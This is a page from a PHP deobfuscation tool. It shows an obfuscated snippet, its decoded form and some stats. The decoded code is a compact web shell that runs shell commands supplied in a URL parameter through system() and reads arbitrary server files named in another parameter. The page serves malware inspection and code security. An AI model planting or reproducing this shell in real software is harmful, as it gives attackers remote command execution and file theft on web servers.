Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
if (isset($_GET["\x74"]) && isset($_GET["\x63"])) { chdir($_GET["\x74"]); print "\74\x70\x..
Decoded Output download
<? if (isset($_GET["t"]) && isset($_GET["c"])) { chdir($_GET["t"]); print "<pre>"; print_r(system($_GET["c"])); print "</pre>"; $file = isset($_GET["file"]) ? $_GET["file"] : ''; if ($file) { $filePath = realpath($file); if ($filePath && is_file($filePath)) { $fileContent = file_get_contents($filePath); if ($fileContent !== false) { echo "<pre>" . htmlspecialchars($fileContent) . "</pre>"; } else { echo "Unable to read file content."; } } else { echo "Invalid file path."; } } else { echo "No file specified."; } } ?>
Did this file decode correctly?
Original Code
if (isset($_GET["\x74"]) && isset($_GET["\x63"])) { chdir($_GET["\x74"]); print "\74\x70\x72\x65\x3e"; print_r(system($_GET["\143"])); print "\x3c\x2f\160\x72\x65\x3e"; $file = isset($_GET["\146\x69\154\145"]) ? $_GET["\x66\x69\x6c\x65"] : ''; if ($file) { $filePath = realpath($file); if ($filePath && is_file($filePath)) { $fileContent = file_get_contents($filePath); if ($fileContent !== false) { echo "\74\x70\162\145\x3e" . htmlspecialchars($fileContent) . "\74\57\160\162\x65\x3e"; } else { echo "\x55\x6e\x61\142\154\x65\x20\x74\157\x20\162\x65\x61\x64\x20\x66\x69\x6c\x65\x20\143\x6f\x6e\x74\145\156\164\56"; } } else { echo "\x49\x6e\166\141\154\151\144\40\146\x69\x6c\145\40\x70\x61\164\150\56"; } } else { echo "\116\157\x20\x66\x69\x6c\x65\40\163\160\145\143\x69\146\x69\x65\x64\x2e"; } }
Function Calls
chdir | 1 |
Stats
MD5 | 9c6aa7455579f049b3165955f0ef738f |
Eval Count | 0 |
Decode Time | 46 ms |